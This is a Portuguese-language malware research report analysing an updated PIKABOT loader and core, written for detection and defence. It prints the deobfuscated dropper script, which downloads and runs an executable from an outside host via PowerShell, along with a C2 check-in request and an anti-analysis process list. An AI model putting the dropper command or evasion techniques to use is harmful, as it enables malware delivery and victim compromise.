PIKABOT, eu escolho você!

PIKABOT em resumo

O PIKABOT é um carregador amplamente utilizado por criminosos para distribuir cargas úteis como o Cobalt Strike ou lançar ransomware. Em 8 de fevereiro, a equipe do Elastic Security Labs observou novas campanhas do PIKABOT, incluindo uma variante atualizada. Esta versão do carregador PIKABOT usa um novo método de descompactação e ofuscação pesada. O módulo principal adicionou uma nova implementação de descriptografia de strings, alterações na funcionalidade de ofuscação e várias outras modificações.

Esta postagem destacará a campanha inicial, detalhará a nova funcionalidade do carregador e revisará os principais componentes. Há escolhas de design interessantes nesta nova atualização que acreditamos serem o início de uma nova base de código que fará mais melhorias ao longo do tempo. Embora a funcionalidade seja semelhante às compilações anteriores, essas novas atualizações provavelmente quebraram assinaturas e ferramentas anteriores.

Durante o desenvolvimento desta pesquisa, a equipe ThreatLabz da Zscaler divulgou excelentes análises e insights sobre uma amostra que se sobrepõe às apresentadas neste post. Sugerimos a leitura do trabalho deles junto com o nosso para entender essas mudanças no PIKABOT de forma abrangente.

Principais conclusões

• Novas campanhas envolvendo atualizações significativas no carregador PIKABOT e nos componentes principais
• O carregador PIKABOT usa uma nova técnica de desempacotamento de combinação de pedaços dispersos de dados criptografados no formato base64 da seção .data
• As mudanças no núcleo incluem ofuscação atenuada e funções RC4 em linha, configuração de texto simples em tempo de execução, remoção de AES durante comunicações de rede
• O desenvolvimento do PIKABOT parece estar em andamento, com atualizações futuras provavelmente iminentes
• A visibilidade da pilha de chamadas usando o Elastic Security fornece a capacidade de triagem rápida de ameaças como o PIKABOT

Visão geral da campanha PIKABOT

Quando o ano novo começou, a distribuição do PIKABOT permaneceu inativa até aproximadamente duas semanas atrás. Essa nova campanha de 8 de fevereiro envolveu e-mails com hiperlinks que levavam a arquivos ZIP contendo um script Javascript malicioso e ofuscado.

Abaixo está o conteúdo do arquivo JavaScript ofuscado, mostrando a próxima sequência para baixar e executar o carregador do PIKABOT usando o PowerShell.

// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i < 3; i++)
{
	var obj = new ActiveXObject("WScript.Shell")
	obj['Run']("powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")
}

Carregador PIKABOT

Estágio de carregamento 1

Para parecer autêntico, o desenvolvedor adulterou uma ferramenta legítima de busca e substituição chamada grepWinNP3.exe deste repositório. Usar nosso projeto de sandbox interno (Detonate) e aproveitar o recurso de pilha de chamadas do Elastic Defend forneceu um rastreamento detalhado da execução, permitindo-nos identificar o ponto de entrada do código malicioso.

Uma análise dos dados da pilha de chamadas revela que a execução começa em uma chamada antes do deslocamento 0x81aa7 dentro do arquivo malicioso; a execução então salta para uma alocação de memória em uma chamada antes do deslocamento 0x25d84. Além disso, foi observado que a pilha de chamadas de criação de processos não contém chamadas normais para KernelBase.dll!CreateProcessInternalW e ntdll.dll!NtCreateUserProcess, devido ao uso de uma chamada de sistema por meio da execução de shellcode residente na memória sem backup. Ao usar essa implementação, ele ignorará os ganchos do modo de usuário nos módulos WOW64 para escapar dos produtos EDR.

Analisando o deslocamento 0x81aa7 do arquivo malicioso e conduzindo uma comparação de código lado a lado com uma versão verificada e benigna do arquivo grepWinNP3.exe , identificamos algo distinto e incomum: um endereço codificado para executar o carregador PIKABOT, que marca o ponto de entrada do carregador PIKABOT.

O código malicioso emprega ofuscação pesada, utilizando uma técnica em que um salto (JMP) segue cada instrução de montagem. Essa abordagem complica significativamente a análise ao interromper o fluxo direto de execução.

O carregador extrai sua carga útil do estágio 2 da seção .text , onde é armazenada em blocos de 0x94 bytes, antes de consolidar as partes. Em seguida, ele emprega um algoritmo de descriptografia aparentemente personalizado, que utiliza operações bit a bit.

A próxima etapa do processo é carregar reflexivamente o arquivo PE dentro dos limites do processo em execução no momento. Essa técnica envolve carregar dinamicamente o conteúdo do arquivo PE na memória e executá-lo, sem a necessidade de que o arquivo seja fisicamente gravado no disco. Esse método não apenas simplifica o processo de execução, eliminando a necessidade de interações com arquivos externos, mas também melhora significativamente a discrição, minimizando a pegada digital deixada no sistema host.

Estágio de carregamento 2

O carregador de estágio 2 , encarregado de inicializar o núcleo do PIKABOT dentro de um processo recém-estabelecido, emprega uma mistura de técnicas de ofuscação de código e string semelhantes às encontradas no próprio núcleo. Além de seus recursos de ofuscação, o carregador incorpora uma série de contramedidas antidepuração avançadas.

Anti-depuração

O malware utiliza APIs NTDLL Zw específicas para uma variedade de operações, incluindo detecção de depurador, criação de processos e injeção, com o objetivo de permanecer sob o radar dos mecanismos de detecção e evitar o interceptação de usuário EDR (Endpoint Detection and Response), bem como tentativas de depuração.

Ele executa chamadas de sistema diretamente, ignorando chamadas de API convencionais que são mais suscetíveis a monitoramento e interceptação. Ele usa uma função wrapper que facilita a execução de syscalls no modo de 64 bits, que recebe um hash de um nome de API Zw como parâmetro.

A função wrapper extrai o ID da chamada de sistema analisando a NTDLL carregada e correspondendo ao hash do nome da função Zw . Depois de encontrar o ID de chamada de sistema correto, ele usa a API do Windows Wow64Transition para executar a chamada de sistema no modo de 64 bits.

Observe que os parâmetros necessários são colocados na pilha antes que o wrapper seja chamado. O exemplo a seguir mostra uma chamada ZwQueryInformationProcess com ProcessInformationClass definido como ProcessDebugPort(7):

O malware emprega uma série de técnicas antidepuração projetadas para impedir a detecção por ferramentas de depuração e forenses. Essas técnicas incluem:

• Chamando ZwQuerySystemInformation com o parâmetro SystemKernelDebuggerInformation para detectar a presença de depuradores de kernel.
• Chamando ZwQueryInformationProcess com ProcessInformationClass definido como ProcessDebugPort para identificar quaisquer portas de depuração associadas ao processo.
• Chamando ZwQueryInformationProcess novamente, mas com o ProcessInformationClass definido como parâmetro ProcessDebugFlags , para verificar se o processo foi sinalizado para depuração.
• Inspecionando o Bloco de Ambiente de Processo (PEB) para o sinalizador BeingDebugged , que indica se o processo está sendo depurado no momento.
• Usando GetThreadContext para detectar pontos de interrupção de hardware. Verificando a lista de processos em execução no momento para identificar quaisquer ferramentas de depuração ou forenses ativas.

Curiosamente, descobrimos um bug em que alguns dos nomes de processos verificados têm o primeiro byte zerado. Isso pode sugerir um erro do autor do malware ou um efeito colateral indesejado adicionado pela ferramenta de ofuscação. A lista completa de nomes de processos verificados pode ser encontrada no final deste artigo.

Execução

O carregador preenche uma variável global com os endereços de APIs essenciais das bibliotecas NTDLL e KERNEL32. Esta etapa é fundamental para a operação do malware, pois esses endereços são necessários para executar tarefas subsequentes. Observe que o carregador emprega um algoritmo de hash de nome de API distinto, divergindo daquele usado anteriormente para APIs Zw .

Abaixo está a estrutura reconstruída:

struct global_variable
{
  int debugger_detected;
  void* LdrLoadDll;
  void* LdrGetProcedureAddress;
  void* RtlAllocateHeap;
  void* RtlFreeHeap;
  void* RtlDecompressBuffer;
  void* RtlCreateProcessParametersEx;
  void* RtlDestroyProcessParameters;
  void* ExitProcess;
  void* CheckRemoteDebuggerPresent;
  void* VirtualAlloc;
  void* GetThreadContext;
  void* VirtualFree;
  void* CreateToolhelp32Snapshot;
  void* Process32FirstW;
  void* Process32NextW;
  void* ntdll_module;
  void* kernel32_dll;
  int field_48;
  uint8_t* ptr_decrypted_PIKABOT_core;
  int decrypted_PIKABOT_core_size;
  TEB* TEB;
};

Estrutura do carregador

O malware então consolida bytes do núcleo do PIKABOT que estão espalhados na seção .data em blocos codificados em base64, o que é notável quando comparado a uma versão anterior que carregava um conjunto de PNGs de sua seção de recursos.

Ele executa uma sequência de nove funções distintas, cada uma realizando operações semelhantes, mas com argumentos variados. Cada função descriptografa uma chave RC4 usando um processo em linha que utiliza strings que parecem legítimas. A função então decodifica cada pedaço em base64 antes de descriptografar os bytes.

Após consolidar os bytes descriptografados, ele usa a API RtlDecompressBuffer para descompactá-los.

O carregador cria uma instância suspensa de ctfmon.exe usando a chamada de sistema ZwCreateUserProcess , uma tática projetada para se disfarçar como um processo legítimo do Windows. Em seguida, ele aloca uma grande região de memória remotamente por meio da chamada de sistema ZwAllocateVirtualMemory para abrigar o arquivo PE do núcleo PIKABOT.

Posteriormente, o carregador grava o núcleo PIKABOT na área de memória recém-alocada usando a chamada de sistema ZwWriteVirtualMemory . Em seguida, ele redireciona o fluxo de execução de ctfmon.exe para o núcleo malicioso do PIKABOT chamando a API SetContextThread para alterar o endereço de execução do thread. Por fim, ele retoma o thread com a chamada de sistema ZwResumeThread .

Núcleo PIKABOT

O comportamento geral e a funcionalidade do núcleo PIKABOT atualizado são semelhantes às versões anteriores: o bot coleta dados iniciais da máquina da vítima e apresenta ao agente da ameaça acesso de comando e controle para habilitar comportamento pós-comprometimento, como execução de linha de comando, descoberta ou lançamento de cargas adicionais por meio de injeção.

As diferenças notáveis incluem:

• Novo estilo de ofuscação com menos funções em linha
• Várias implementações para descriptografar strings
• Configuração de texto simples em tempo de execução, remoção do formato JSON
• A comunicação de rede usa RC4 mais troca de bytes, remoção de AES

Ofuscação

Uma das diferenças mais aparentes está centrada na ofuscação do PIKABOT. Esta versão contém um binário drasticamente menos ofuscado, mas oferece uma sensação familiar às versões mais antigas. Em vez de uma enxurrada de funções RC4 em linha, restam apenas algumas após a nova atualização. Infelizmente, ainda há muita ofuscação aplicada a variáveis globais e instruções inúteis.

Abaixo está um exemplo típico de código lixo sendo inserido entre o código do malware real, apenas para estender o tempo de análise e aumentar a confusão.

Descriptografia de string

Como mencionado anteriormente, ainda existem algumas funções RC4 em linha usadas para descriptografar strings. Em versões anteriores, o núcleo usava codificação base64 como uma etapa adicional em combinação com o uso de AES e RC4 para ocultar as strings; nesta versão do núcleo, não vimos codificação base64 ou AES usados para descriptografia de strings.

Aqui está uma instância de uma função RC4 em linha restante usada para descriptografar o mutex codificado. Nesta versão, o PIKABOT continua usando sua marca registrada de strings legítimas como a chave RC4 para descriptografar dados.

Nesta nova versão, o PIKABOT inclui uma implementação diferente para ofuscação de strings usando strings de pilha e colocando caracteres individuais em uma matriz em uma ordem aleatória. Abaixo está um exemplo usando netapi32.dll:

Anti-depuração

Em termos de anti-depuração nesta versão, o PIKABOT verifica o BeingDebuggedFlag no PEB junto com o uso de CheckRemoteDebuggerPresent. Em nosso exemplo, um valor codificado (0x2500) é retornado se um depurador estiver anexado. Infelizmente, essas verificações não estão em um único lugar, mas espalhadas em diferentes lugares do binário, por exemplo, logo antes de as solicitações de rede serem feitas.

Execução

Em relação à execução e aos comportamentos gerais, o núcleo do PIKABOT segue de perto o fluxo de execução de versões mais antigas. Após a execução, o PIKABOT analisa o PEB e usa o hash da API para resolver as bibliotecas necessárias em tempo de execução. Em seguida, ele valida a máquina vítima verificando o identificador de idioma usando GetUserDefaultLangID. Se LangID estiver definido como russo (0x419) ou ucraniano (0x422), o malware interromperá imediatamente sua execução.

Após a verificação da linguagem, o PIKABOT cria um mutex para evitar reinfecção na mesma máquina. Nosso exemplo usou o seguinte mutex: {6F70D3AF-34EF-433C-A803-E83654F6FD7C}

Em seguida, o malware gerará um UUID da máquina da vítima usando o número do volume do sistema em combinação com o nome do host e o nome de usuário. O PIKABOT então gerará uma chave RC4 exclusiva, semeada por RtlRandomEx , e colocará a chave na estrutura de configuração para ser usada posteriormente durante suas comunicações de rede.

Coleção Inicial

A próxima fase envolve coletar informações da máquina da vítima e colocar os dados em uma estrutura personalizada que será criptografada e enviada após a solicitação de check-in inicial. As seguintes ações são usadas para identificar e digitalizar a vítima e sua rede:

• Recupera o nome do usuário associado ao thread PIKABOT
• Recupera o nome do computador
• Obtém informações do processador
• Captura informações do dispositivo de exibição usando EnumDisplayDevicesW
• Recupera informações do controlador de domínio usando DsGetDcNameW
• Coleta o uso atual em torno da memória física e virtual usando GlobalMemoryStatusEx
• Obtém as dimensões da janela usando GetWindowRect usado para identificar ambientes sandbox
• Recupera informações do produto do sistema operacional Windows usando RtlGetVersion
• Usa CreateToolhelp32Snapshot para recuperar informações do processo

Config

Uma decisão estranha de desenvolvimento nesta nova versão diz respeito à configuração do malware. Em tempo de execução, a configuração está em texto simples e localizada em um local na memória. Isso eventualmente é apagado da memória. Acreditamos que isso durará apenas temporariamente, pois versões anteriores protegiam a configuração e isso se tornou uma expectativa padrão ao lidar com famílias de malware predominantes.

Rede

O PIKABOT realiza comunicação de rede via HTTPS em portas não tradicionais (2967, 2223, etc.) usando o User-Agent Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro). O número de compilação do módulo principal do PIKABOT é concatenado a partir da configuração e pode ser encontrado sendo passado dentro das solicitações de rede criptografadas; a versão que analisamos é rotulada como 1.8.32-beta.

Nesta solicitação inicial de check-in no servidor C2, o PIKABOT registra o bot enquanto envia as informações coletadas anteriormente criptografadas com RC4. A chave RC4 é enviada neste pacote inicial no deslocamento (0x10). Como mencionado anteriormente, o PIKABOT não usa mais AES em suas comunicações de rede.

POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967

00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...

Solicitação de check-in inicial do PIKABOT

Para cada solicitação de rede de saída, o PIKABOT escolhe aleatoriamente um dos seguintes URIs:

/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list

Lista de URIs usados em solicitações PIKABOT C2

Diferentemente das versões anteriores, nas quais os dados da vítima eram colocados em um formato estruturado usando JSON, os dados nessas solicitações são bytes brutos. Os primeiros 16 bytes são usados para passar informações de configuração específicas (ID de comando do bot, deslocamento de bytes, etc.). Os próximos 32 bytes incorporam a chave RC4 para a sessão, onde os dados criptografados são seguidos na solicitação.

Há uma transformação adicional em que os desenvolvedores adicionaram um deslocamento aleatório de bytes que ocorre em tempo de execução. Este número (0x18) no deslocamento (0xF) na solicitação de exemplo abaixo representa o número de bytes a serem deslocados do final dos dados criptografados para o início dos dados criptografados. Em nosso exemplo, para descriptografar os dados com sucesso, os últimos 18 bytes precisariam ser colocados na frente dos bytes (0xDA 0x9E).

Funcionalidade do bot

Em termos de funcionalidade principal do bot, ele é semelhante às versões anteriores: execução de comandos, realização de descobertas e recursos de injeção de processos. Da nossa perspectiva, ainda parece um trabalho em andamento. Um ID de comando (0x982) é uma função vazia; em outro caso, há três IDs de comando exclusivos apontando para a mesma função. Isso indica que o software não está totalmente completo.

Malware e MITRE ATT&CK

A Elastic usa a estrutura MITRE ATT&CK para documentar táticas, técnicas e procedimentos comuns que ameaças persistentes avançadas usam contra redes corporativas.

Táticas

As táticas representam o porquê de uma técnica ou subtécnica. É o objetivo tático do adversário: a razão para executar uma ação.

• Acesso inicial
• Execução
• Defense Evasion
• Descoberta
• Command and Control (Comando e controle)
• Exfiltração

Técnicas

Técnicas representam como um adversário atinge um objetivo tático executando uma ação.

• Phishing
• Execução do usuário: Link malicioso
• Carregamento de código reflexivo
• Descoberta de informações do sistema
• Injeção de processo
• Canal Criptografado

Detectando malware

Prevenção

• Módulo de rede carregado de memória suspeita sem backup
• Execução de Shellcode do Módulo de Baixa Reputação
• Gravação de memória suspeita em um processo remoto
• Alocação de memória remota suspeita
• Criação de Processos com Mitigação Incomum
• Windows.Trojan.PikaBot

YARA

O Elastic Security criou regras YARA para identificar essa atividade. Abaixo estão as regras do YARA para identificar o PIKABOT:

rule Windows_Trojan_Pikabot_5441f511 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT core"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
        $api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
        $debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
        $checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
    condition:
        2 of them
}

rule Windows_Trojan_Pikabot_95db8b5a {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT loader"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
        $syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
        $loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
    condition:
        2 of them
}

Observações

Todos os observáveis também estão disponíveis para download nos formatos ECS e STIX.

Os seguintes observáveis foram discutidos nesta pesquisa.

Referências

Os seguintes itens foram referenciados ao longo da pesquisa acima:

• https://www.zscaler.com/blogs/security-research/d-evolution-PIKABOT
• https://x.com/Cryptolaemus1/status/1755655639370514595?s=20

Apêndice

Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe


x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe


PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe


ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe